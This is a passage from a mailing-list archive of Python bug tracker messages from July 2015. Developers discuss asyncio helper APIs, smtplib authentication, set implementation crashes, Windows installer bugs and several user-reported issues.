[RFE] Add asyncio.call_async API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436282092.44.0.0999089529466.issue24571@psf.upfronthosting.co.za> Guido van Rossum added the comment: But that example also shows what's wrong with the idea. I presume load_remote_data_set1 and load_remote_data_set2 are themselves just using synchronous I/O, and the parallelization is done using threads. So why not use concurrent.futures? Why bother with asyncio at all? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 17:24:56 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 07 Jul 2015 15:24:56 +0000 Subject: [issue24582] Minor branch optimization in set implementation In-Reply-To: <1436258306.82.0.639469494764.issue24582@psf.upfronthosting.co.za> Message-ID: <1436282696.44.0.550657095825.issue24582@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 17:28:00 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 07 Jul 2015 15:28:00 +0000 Subject: [issue24582] Minor branch optimization in set implementation In-Reply-To: <1436258306.82.0.639469494764.issue24582@psf.upfronthosting.co.za> Message-ID: <1436282880.16.0.461638440099.issue24582@psf.upfronthosting.co.za> Raymond Hettinger added the comment: I believe this patch will make matters worse. The current pair of tests can essentially be run in parallel and the one with rv==-1 is highly predictable (essentially zero cost). ---------- priority: normal -> low _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 17:28:54 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 07 Jul 2015 15:28:54 +0000 Subject: [issue24582] Minor branch optimization in set implementation In-Reply-To: <1436258306.82.0.639469494764.issue24582@psf.upfronthosting.co.za> Message-ID: <1436282934.41.0.0896881932427.issue24582@psf.upfronthosting.co.za> Raymond Hettinger added the comment: FWIW, I had tried some variants of this a one point and saw no benefit at all. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 17:30:34 2015 From: report at bugs.python.org (Barry A. Warsaw) Date: Tue, 07 Jul 2015 15:30:34 +0000 Subject: [issue15014] smtplib: add support for arbitrary auth methods In-Reply-To: <1338970281.71.0.834699818603.issue15014@psf.upfronthosting.co.za> Message-ID: <1436283034.34.0.333471965021.issue15014@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: I have a patch to support initial-response, which I'll be posting here after a bit of clean up and a full (local) test run, with documentation. I ended up adding a keyword argument `initial_response_ok=True` to .login() and .auth(). The reason for this is that some clients may wish to force smtplib to do challenge/response. By default, mechanisms that support it (e.g. AUTH PLAIN) will send the initial response. Setting `initial_response_ok=False` in either SMTP.auth() or SMTP.login() will prevent smtplib from sending the initial response, and instead deal with challenge/response. I made initial_response_ok a keyword argument. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 17:36:17 2015 From: report at bugs.python.org (STINNER Victor) Date: Tue, 07 Jul 2015 15:36:17 +0000 Subject: [issue24571] [RFE] Add asyncio.call_async API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436283377.54.0.138659712605.issue24571@psf.upfronthosting.co.za> STINNER Victor added the comment: > *If* it needs to be added I like call_in_thread(). Except if you explicitly set the executor to a thread pool executor, the function name can be a lie. It's possible to modify the default executor to a process poll executor. I vote -1 for the function. I would prefer to use directly event loop methods (run_in_executor). # Call blocking operation from asynchronous code def blocking_call(f, *args, **kwds): ... This function name is very misleading. Calling blocking_call() doesn't return the result of f(*args, **kwds) but a Future object... > The aim would thus be to let folks safely make blocking calls from asyncio code without needing to first understand the intricacies of the event loop, the event loop's executor, or the need to wrap the call in functools.partial. I don't like the idea of hiding asyncio complexity. See eventlet monkey patching, it was a big mistake. But ok to add helpers when they are revelant. I also fear adding too many functions to do the same things. For example, scheduling the execution of a coroutine can now be done by: * asyncio.async(coro) * asyncio.Task(coro) * loop.create_task(coro) * asyncio.ensure_task(coro) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 17:52:34 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Tue, 07 Jul 2015 15:52:34 +0000 Subject: [issue24551] byte conversion In-Reply-To: <1435853287.91.0.814348198879.issue24551@psf.upfronthosting.co.za> Message-ID: <1436284354.7.0.464438629695.issue24551@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Bytes in Python 3 do use ASCII representation: py> b'\x41' == b'A' # ASCII True If you think the documentation is unclear, please tell us which part of the docs you read (provide a URL) and we will see if it can be improved. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 18:09:11 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 07 Jul 2015 16:09:11 +0000 Subject: [issue24582] Minor branch optimization in set implementation In-Reply-To: <1436258306.82.0.639469494764.issue24582@psf.upfronthosting.co.za> Message-ID: <1436285351.21.0.72437123167.issue24582@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Then feel free to close this issue. I'm not very experienced with modern superscalar CPUs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 18:10:08 2015 From: report at bugs.python.org (Larry Hastings) Date: Tue, 07 Jul 2015 16:10:08 +0000 Subject: [issue23441] rlcompleter: tab on empty prefix => insert spaces In-Reply-To: <1423650104.74.0.902857510979.issue23441@psf.upfronthosting.co.za> Message-ID: <1436285408.57.0.784879193131.issue23441@psf.upfronthosting.co.za> Larry Hastings added the comment: This issue was created 2015/02/11. Python 3.4 was released on 2014/03/16. Is there an earlier duplicate issue for this problem that was marked "release blocker" for 3.4? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 18:16:08 2015 From: report at bugs.python.org (R. David Murray) Date: Tue, 07 Jul 2015 16:16:08 +0000 Subject: [issue23441] rlcompleter: tab on empty prefix => insert spaces In-Reply-To: <1423650104.74.0.902857510979.issue23441@psf.upfronthosting.co.za> Message-ID: <1436285768.48.0.00618595639168.issue23441@psf.upfronthosting.co.za> R. David Murray added the comment: No, that's what I said when I marked this one as a release blocker: the other one *hadn't been*, which is why it didn't get in to 3.4. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 18:16:20 2015 From: report at bugs.python.org (Steve Dower) Date: Tue, 07 Jul 2015 16:16:20 +0000 Subject: [issue24584] Windows installer incorrectly detects CRT version on Windows 10 Message-ID: <1436285780.46.0.112014625356.issue24584@psf.upfronthosting.co.za> New submission from Steve Dower: The Windows installer attempts to load one of the public facing API sets to detect the current CRT version. However, on Windows 10, these DLLs are not directly loadable. We should probably just load ucrtbase.dll directly for the version check. ---------- assignee: steve.dower components: Installation, Windows messages: 246425 nosy: paul.moore, steve.dower, tim.golden, zach.ware priority: high severity: normal status: open title: Windows installer incorrectly detects CRT version on Windows 10 type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 18:18:36 2015 From: report at bugs.python.org (Steve Dower) Date: Tue, 07 Jul 2015 16:18:36 +0000 Subject: [issue24585] Windows installer does not detect existing installs Message-ID: <1436285916.26.0.0298485642616.issue24585@psf.upfronthosting.co.za> New submission from Steve Dower: If you have Python 3.5.0b2 installed and run the Python 3.5.0b3 installer, it will upgrade correctly, but gives no indication that it will remove the old one. We should default to an upgrade using the same settings as the previous installation when one exists. Users can then hit Customize to change settings if they want, or uninstall the old version to do a clean install. ---------- assignee: steve.dower components: Installation, Windows messages: 246426 nosy: paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Windows installer does not detect existing installs type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 18:20:01 2015 From: report at bugs.python.org (Steve Dower) Date: Tue, 07 Jul 2015 16:20:01 +0000 Subject: [issue24585] Windows installer does not detect existing installs In-Reply-To: <1436285916.26.0.0298485642616.issue24585@psf.upfronthosting.co.za> Message-ID: <1436286001.66.0.552938819077.issue24585@psf.upfronthosting.co.za> Steve Dower added the comment: Making this a release blocker - the installer changes required here are probably big enough that I really don't want the last beta going out without them (or alternatively, the rc to be the first time they get tried). ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 18:27:34 2015 From: report at bugs.python.org (David Robertson) Date: Tue, 07 Jul 2015 16:27:34 +0000 Subject: [issue23057] [Windows] asyncio: support signal handlers on Windows (feature request) In-Reply-To: <1418674256.87.0.827009141117.issue23057@psf.upfronthosting.co.za> Message-ID: <1436286454.7.0.836196109559.issue23057@psf.upfronthosting.co.za> David Robertson added the comment: Dear all, I have just been trying to understand the TCP Echo example from the asyncio documentation: https://docs.python.org/3/library/asyncio-protocol.html#protocol-examples I copied the two examples from the docs into `server.py' and `client.py'. I ran server.py first and hit control-C. This did not close the server as expected. However, if I then ran client.py, the act of sending a message to the server seemed to prompt it to receive the KeyboardInterrupt and close! In turn this caused an OSError to be raised by the client. Some searching lead me to StackOverflow and then to this bug. I wanted to point out this behaviour, as I didn't see it mentioned in any of the previous comments. Plus, I thought it was a shame that the first example I looked didn't behave as described! I'm curently running Python 3.3.1 on Windows 7 and I'm using asyncio 3.4.3 from PyPI. ---------- nosy: +David Robertson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 19:12:54 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 07 Jul 2015 17:12:54 +0000 Subject: [issue24582] Minor branch optimization in set implementation In-Reply-To: <1436258306.82.0.639469494764.issue24582@psf.upfronthosting.co.za> Message-ID: <1436289174.13.0.281002838308.issue24582@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Thanks. FWIW, there was one other issue. The code is set-up to accommodate aggressive in-lining so that the code in set_contains(), for example, the sets a return value of -1 gets combined with the downstream test for -1 and the pairs gets folded away in the generated code. Combining the -1 and the zero test gets in the way of this. ---------- resolution: -> rejected status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 19:16:53 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 07 Jul 2015 17:16:53 +0000 Subject: [issue24581] Crash when a set is changed during iteration In-Reply-To: <1436256549.64.0.540045021934.issue24581@psf.upfronthosting.co.za> Message-ID: <1436289413.73.0.241841927644.issue24581@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 19:16:59 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 07 Jul 2015 17:16:59 +0000 Subject: [issue24581] Crash when a set is changed during iteration In-Reply-To: <1436256549.64.0.540045021934.issue24581@psf.upfronthosting.co.za> Message-ID: <1436289419.97.0.82256778962.issue24581@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- priority: normal -> high _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 19:20:31 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 07 Jul 2015 17:20:31 +0000 Subject: [issue24581] Crash when a set is changed during iteration In-Reply-To: <1436256549.64.0.540045021934.issue24581@psf.upfronthosting.co.za> Message-ID: <1436289631.7.0.788034439649.issue24581@psf.upfronthosting.co.za> Raymond Hettinger added the comment: The test for the size being constant has always been weak (it was possible to produce a unstable and incorrect but non-crashing result). I was considering checking both size and that the table itself hasn't moved. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 19:28:56 2015 From: report at bugs.python.org (Sven R. Kunze) Date: Tue, 07 Jul 2015 17:28:56 +0000 Subject: [issue24571] [RFE] Add asyncio.call_async API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436290136.57.0.544316118247.issue24571@psf.upfronthosting.co.za> Sven R. Kunze added the comment: > Why bother with asyncio at all? Good question. My initial reaction to async+await was: 'great, finally a Pythonic (i.e. a single, explicit) way to do squeeze out more of our servers'. Moreover, the goal of 'being more like classic code' + 'having reasonable tracebacks' reads like 'nice, ready for production code'. After reading the documentation, I was slightly confused by: coroutines, tasks, futures which somehow feel very similar. But because of the introduction of 'await', I thought, we would not need to bother with that at all. Then, people started to tell me that asyncio and normal execution could never interact with each other. I cannot believe that. Python always gave me convenient tools. I cannot believe it should be different this time. I can use properties the same way as attributes, i.e. I can substitute them with each other seamlessly. I can call class methods the same way as instance methods, i.e. I can substitute them with each other seamlessly. I can call functions that raise exceptions the same way as functions that raise no exceptions, i.e. I can substitute them with each other seamlessly. It is just perfect. Comparing the projects I am involved, those using Python proceed at a much greater pace just because of these convenient tools. So, I wanted to leverage asyncio's power without touching million lines of code as well. If asyncio is not the right tool, that is fine with me, but then I do not get why threading does not have its own syntax (and goals described above) whereas asyncio does. To me, I could accomplish the same more or less with both tools. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 19:32:48 2015 From: report at bugs.python.org (Sven R. Kunze) Date: Tue, 07 Jul 2015 17:32:48 +0000 Subject: [issue24571] [RFE] Add asyncio.call_async API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436290368.5.0.690021199703.issue24571@psf.upfronthosting.co.za> Sven R. Kunze added the comment: > I also fear adding too many functions to do the same things. > > For example, scheduling the execution of a coroutine can now be done by: > * asyncio.async(coro) > * asyncio.Task(coro) > * loop.create_task(coro) > * asyncio.ensure_task(coro) If you ask me, that does not look very Pythonic to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 19:35:56 2015 From: report at bugs.python.org (Barry A. Warsaw) Date: Tue, 07 Jul 2015 17:35:56 +0000 Subject: [issue15014] smtplib: add support for arbitrary auth methods In-Reply-To: <1338970281.71.0.834699818603.issue15014@psf.upfronthosting.co.za> Message-ID: <1436290556.5.0.623034412278.issue15014@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: Attached patch includes test, documentation, and implementation. While this is technically a new feature, it fixes a regression in Python 3.5 w.r.t. 3.4. I'll email python-dev with a request for beta exemption. ---------- Added file: http://bugs.python.org/file39882/15014-auth-init-resp.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 19:39:12 2015 From: report at bugs.python.org (R. David Murray) Date: Tue, 07 Jul 2015 17:39:12 +0000 Subject: [issue24571] [RFE] Add asyncio.call_async API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436290752.83.0.464644638416.issue24571@psf.upfronthosting.co.za> R. David Murray added the comment: "finally a Pythonic (i.e. a single, explicit) way to do squeeze out more of our servers'" I think that you don't understand the purpose of asyncio, then, since squeezing more out of servers is, to my understanding, neither a goal nor something it does (except in the mostly trivial sense that you use fewer threads). What it does is to make writing correct multitasking code easier. If you aren't writing non-trivial multitasking code, it doesn't buy you anything. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 19:59:15 2015 From: report at bugs.python.org (Sven R. Kunze) Date: Tue, 07 Jul 2015 17:59:15 +0000 Subject: [issue24571] [RFE] Add asyncio.call_async API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436291955.17.0.855224185453.issue24571@psf.upfronthosting.co.za> Sven R. Kunze added the comment: @David What is the purpose of multitasking code? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 19:59:27 2015 From: report at bugs.python.org (R. David Murray) Date: Tue, 07 Jul 2015 17:59:27 +0000 Subject: [issue15014] smtplib: add support for arbitrary auth methods In-Reply-To: <1338970281.71.0.834699818603.issue15014@psf.upfronthosting.co.za> Message-ID: <1436291967.59.0.147174506029.issue15014@psf.upfronthosting.co.za> R. David Murray added the comment: I don't see any need to add the is_initial_auth_ok flag. Either the auth method returns something that is not None (initial auth is OK), or it doesn't (initial auth is not OK). Providing for that initial return value from the authobj is still a change to the new feature, but I don't think fixes to API bugs require an exception to the features rule, especially when they represent a fix to a regression. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 20:25:40 2015 From: report at bugs.python.org (Barry A. Warsaw) Date: Tue, 07 Jul 2015 18:25:40 +0000 Subject: [issue15014] smtplib: add support for arbitrary auth methods In-Reply-To: <1436291967.59.0.147174506029.issue15014@psf.upfronthosting.co.za> Message-ID: <20150707142536.271d7f53@limelight.wooz.org> Barry A. Warsaw added the comment: On Jul 07, 2015, at 05:59 PM, R. David Murray wrote: >I don't see any need to add the is_initial_auth_ok flag. Either the auth >method returns something that is not None (initial auth is OK), or it doesn't >(initial auth is not OK). I added this because test_smtplib itself expects some challenge/response even for AUTH PLAIN. I could have done more surgery on test_smtplib to avoid this, but on thinking about it, I decided that it makes sense to allow for the override. smtplib is often used in test scenarios, so imagine testing an SMTP server implementation. To get full coverage you'd want to test both initial-response and challenge/response even for auth methods like PLAIN. Indeed, I've been thinking about writing an asyncio-based smtpd, and it would be nice to be able to handle both cases without having to derive from class SMTP and re-implementing auth_plain and auth_login. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 20:36:26 2015 From: report at bugs.python.org (R. David Murray) Date: Tue, 07 Jul 2015 18:36:26 +0000 Subject: [issue15014] smtplib: add support for arbitrary auth methods In-Reply-To: <1338970281.71.0.834699818603.issue15014@psf.upfronthosting.co.za> Message-ID: <1436294186.0.0.0496877834886.issue15014@psf.upfronthosting.co.za> R. David Murray added the comment: OK, that makes sense. I'll try to give this a thorough review soon. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 20:37:25 2015 From: report at bugs.python.org (tomskaczmarek) Date: Tue, 07 Jul 2015 18:37:25 +0000 Subject: [issue24586] Operator precedence for 1<-1==0 Message-ID: <1436294245.86.0.0329122042098.issue24586@psf.upfronthosting.co.za> New submission from tomskaczmarek: As I understand operator precedence the expression 1<-1==0 ought to evaluate in the following order: 1<-1 evaluates to False (or 0) then False == 0 ought to evaluate yielding True. However, this evaluates to False in my Python 3.4.3 Shell. (1<-1)==0 evaluates to True ---------- components: Interpreter Core messages: 246439 nosy: tomskaczmarek priority: normal severity: normal status: open title: Operator precedence for 1<-1==0 versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 20:42:40 2015 From: report at bugs.python.org (R. David Murray) Date: Tue, 07 Jul 2015 18:42:40 +0000 Subject: [issue24586] Operator precedence for 1<-1==0 In-Reply-To: <1436294245.86.0.0329122042098.issue24586@psf.upfronthosting.co.za> Message-ID: <1436294560.14.0.802155353754.issue24586@psf.upfronthosting.co.za> R. David Murray added the comment: You missed the sentence just before the table that mentions that comparisons support chaining (see https://docs.python.org/3/reference/expressions.html#not-in). 1<-1==0 is actually equivalent to (1<-1) and (1==0), which is False. ---------- nosy: +r.david.murray resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 21:33:58 2015 From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=) Date: Tue, 07 Jul 2015 19:33:58 +0000 Subject: [issue23057] [Windows] asyncio: support signal handlers on Windows (feature request) In-Reply-To: <1418674256.87.0.827009141117.issue23057@psf.upfronthosting.co.za> Message-ID: <1436297638.72.0.499019490318.issue23057@psf.upfronthosting.co.za> Adam Barto? added the comment: David Robertson: The behaviour you pointed out is a consequence of the general issue: signals on Windows aren't fully supported. Basically, they cannot interrupt the event loop when every coroutine is waiting for something. Instead, they are fired when something happens ? some data are recieved or some timer reaches zero. In your case it was the connection of the client or the message it sent. This is the right issue related to your problem. Hopefully, it will be fixed eventually. A current workaround is to schedule a task which periodically sleeps for an amount of time. For example, if it allways sleeps for one second, then you will wait for KeyboardInterrupt at most one second. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 00:29:32 2015 From: report at bugs.python.org (Roundup Robot) Date: Tue, 07 Jul 2015 22:29:32 +0000 Subject: [issue24581] Crash when a set is changed during iteration In-Reply-To: <1436256549.64.0.540045021934.issue24581@psf.upfronthosting.co.za> Message-ID: <20150707222929.30548.54103@psf.io> Roundup Robot added the comment: New changeset 648c9fb3bdf5 by Raymond Hettinger in branch 'default': Issue 24581: Revert c9782a9ac031 pending a stronger test for mutation during iteration. https://hg.python.org/cpython/rev/648c9fb3bdf5 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 00:32:30 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 07 Jul 2015 22:32:30 +0000 Subject: [issue24581] Crash when a set is changed during iteration In-Reply-To: <1436256549.64.0.540045021934.issue24581@psf.upfronthosting.co.za> Message-ID: <1436308350.69.0.770333394012.issue24581@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 00:52:03 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 07 Jul 2015 22:52:03 +0000 Subject: [issue24583] Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1436309523.29.0.529789690048.issue24583@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 00:52:47 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 07 Jul 2015 22:52:47 +0000 Subject: [issue24583] Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1436309567.44.0.929577926129.issue24583@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- priority: normal -> high _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 00:58:50 2015 From: report at bugs.python.org (Barry A. Warsaw) Date: Tue, 07 Jul 2015 22:58:50 +0000 Subject: [issue15014] smtplib: add support for arbitrary auth methods In-Reply-To: <1338970281.71.0.834699818603.issue15014@psf.upfronthosting.co.za> Message-ID: <1436309930.03.0.611664843049.issue15014@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 02:36:04 2015 From: report at bugs.python.org (Martin Panter) Date: Wed, 08 Jul 2015 00:36:04 +0000 Subject: [issue23441] rlcompleter: tab on empty prefix => insert spaces In-Reply-To: <1423650104.74.0.902857510979.issue23441@psf.upfronthosting.co.za> Message-ID: <1436315764.06.0.810364780178.issue23441@psf.upfronthosting.co.za> Martin Panter added the comment: There are currently two patches proposed, and I presume either patch would satisfy the likes of David Beazley. The first patch is more complex (extending the Completer constructor), while the second is simple. Perhaps it is okay to commit either one, and then continue discussing and refining the behaviour afterwards? So far it looks like the only dilemma is that Martin Sekera wants to avoid the multiple backspacing and duplicating terminal behaviour, but David Murray wants to avoid the terminal copying tabs. My weak preference is with Martin?s simpler patch and relying on the Readline and the terminal to handle questions of tab stops and copied text. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 03:59:40 2015 From: report at bugs.python.org (Eugene K.) Date: Wed, 08 Jul 2015 01:59:40 +0000 Subject: [issue24587] Incorrect tkinter behavior of slave widgets of Button Message-ID: <1436320780.82.0.239534130411.issue24587@psf.upfronthosting.co.za> New submission from Eugene K.: I've encountered this while trying to write a program that allowed the user to edit button labels, by creating an Entry widget on top of the Button, and then hiding the Button. Sample code: http://pastebin.com/WvBbLsNj According to feedback from stackoverflow, it works as intended on MacOS and Debian. It does not work in Windows (I've tried Windows 7, 8, and Server 2012 R2, with Python versions 2.7.5 to 2.7.9.) The problem is that the button does not want to stay hidden. E.g. I create an Entry widget and it initially appears on top of the Button. Then, if I click inside the entry box, it briefly disappears (for a second or two), showing the button again, and then reappears. If I hit 'tab' and move focus out of the Entry, it disappears completely (exposing the button again) and only reappears when I click back into the entry/button area. ---------- components: Tkinter messages: 246445 nosy: Eugene K. priority: normal severity: normal status: open title: Incorrect tkinter behavior of slave widgets of Button type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 05:25:38 2015 From: report at bugs.python.org (Neil Girdhar) Date: Wed, 08 Jul 2015 03:25:38 +0000 Subject: [issue24136] document PEP 448: unpacking generalization In-Reply-To: <1430918327.69.0.579699866453.issue24136@psf.upfronthosting.co.za> Message-ID: <1436325938.74.0.753068165267.issue24136@psf.upfronthosting.co.za> Neil Girdhar added the comment: I don't receive emails from the tracker anymore either and I have no idea why that is. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 05:53:38 2015 From: report at bugs.python.org (Steve Dower) Date: Wed, 08 Jul 2015 03:53:38 +0000 Subject: [issue24585] Windows installer does not detect existing installs In-Reply-To: <1436285916.26.0.0298485642616.issue24585@psf.upfronthosting.co.za> Message-ID: <1436327618.83.0.6353995467.issue24585@psf.upfronthosting.co.za> Steve Dower added the comment: Looks like there's also a problem with Modify being performed by a different user than the one who installed last. Need to come up with a way to properly detect installed features, which should fix both cases. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 06:26:58 2015 From: report at bugs.python.org (Steve Dower) Date: Wed, 08 Jul 2015 04:26:58 +0000 Subject: [issue24584] Windows installer incorrectly detects CRT version on Windows 10 In-Reply-To: <1436285780.46.0.112014625356.issue24584@psf.upfronthosting.co.za> Message-ID: <1436329618.8.0.863986446604.issue24584@psf.upfronthosting.co.za> Steve Dower added the comment: Committed a fix, but apparently messed up linking back to the issue: https://hg.python.org/cpython/rev/60eb61d6fdb4 https://hg.python.org/cpython/rev/877f47ca3b79 ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 07:35:53 2015 From: report at bugs.python.org (Bhupesh Rathod) Date: Wed, 08 Jul 2015 05:35:53 +0000 Subject: [issue24588] Unable to pass argument to python script from Java program Message-ID: <1436333753.46.0.248622877126.issue24588@psf.upfronthosting.co.za> New submission from Bhupesh Rathod: I have following java method It makes call to python scripts I am unable to pass arguments using "engine.put(ScriptEngine.ARGV, strArg);" I have JDK 8 on windows system code as follows /****************************************************/ public static void execute() { StringWriter writer = new StringWriter(); //to store output ScriptEngineManager manager = new ScriptEngineManager(); ScriptContext context = new SimpleScriptContext(); context.setWriter(writer); //configures output redirection ScriptEngine engine = manager.getEngineByName("python"); String strPath = "C:\\Bhupesh\\Data\\script"; try { Reader reader = new FileReader(strPath+"\\"+"numbers.py"); String[] strArg = {"1", "78"}; engine.put(ScriptEngine.ARGV, strArg); engine.eval(reader, context); reader.close(); } catch (ScriptException | IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } ---------- messages: 246449 nosy: Bhupesh Rathod priority: normal severity: normal status: open title: Unable to pass argument to python script from Java program _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 09:11:31 2015 From: report at bugs.python.org (Matthieu Gautier) Date: Wed, 08 Jul 2015 07:11:31 +0000 Subject: =?utf-8?q?=5Bissue23319=5D_Missing_SWAP=5FINT=C2=A0in_I=5Fset=5Fsw?= In-Reply-To: <1422212017.26.0.671058309435.issue23319@psf.upfronthosting.co.za> Message-ID: <1436339491.51.0.316234735102.issue23319@psf.upfronthosting.co.za> Changes by Matthieu Gautier : ---------- versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 10:01:16 2015 From: report at bugs.python.org (Jos Dechamps) Date: Wed, 08 Jul 2015 08:01:16 +0000 Subject: [issue24589] Wrong behavior for list of lists Message-ID: <1436342476.49.0.0477320151656.issue24589@psf.upfronthosting.co.za> New submission from Jos Dechamps: After creating a list of lists, changing one element, leads to changes of all the elements: >>> v=[[]]*10 >>> v [[], [], [], [], [], [], [], [], [], []] >>> v[3].append(3) >>> v [[3], [3], [3], [3], [3], [3], [3], [3], [3], [3]] >>> >>> v=[[]]*10 >>> v [[], [], [], [], [], [], [], [], [], []] >>> v[3] += [3] >>> v [[3], [3], [3], [3], [3], [3], [3], [3], [3], [3]] >>> ---------- components: Interpreter Core messages: 246450 nosy: dechamps priority: normal severity: normal status: open title: Wrong behavior for list of lists type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 10:51:38 2015 From: report at bugs.python.org (Zorceta) Date: Wed, 08 Jul 2015 08:51:38 +0000 Subject: [issue24589] Wrong behavior for list of lists In-Reply-To: <1436342476.49.0.0477320151656.issue24589@psf.upfronthosting.co.za> Message-ID: <1436345498.94.0.549655037418.issue24589@psf.upfronthosting.co.za> Zorceta added the comment: FYI: >>> ll = [[]]*10 >>> [id(l) for l in ll] [67940296, 67940296, 67940296, 67940296, 67940296, 67940296, 67940296, 67940296, 67940296, 67940296] ---------- nosy: +zorceta _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 11:05:32 2015 From: report at bugs.python.org (Martin Panter) Date: Wed, 08 Jul 2015 09:05:32 +0000 Subject: [issue24136] document PEP 448: unpacking generalization In-Reply-To: <1430918327.69.0.579699866453.issue24136@psf.upfronthosting.co.za> Message-ID: <1436346332.48.0.0872578413425.issue24136@psf.upfronthosting.co.za> Martin Panter added the comment: FWIW, I still emails from the tracker, even the ones with my own comments and changes. All I can suggest is check the address you have set, check for spam, etc. I don?t @mentioning will do anything here. But as long as the person is in the nosy list they _should_ get an email (in theory :). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 11:07:22 2015 From: report at bugs.python.org (Zorceta) Date: Wed, 08 Jul 2015 09:07:22 +0000 Subject: [issue24590] Customized attribute 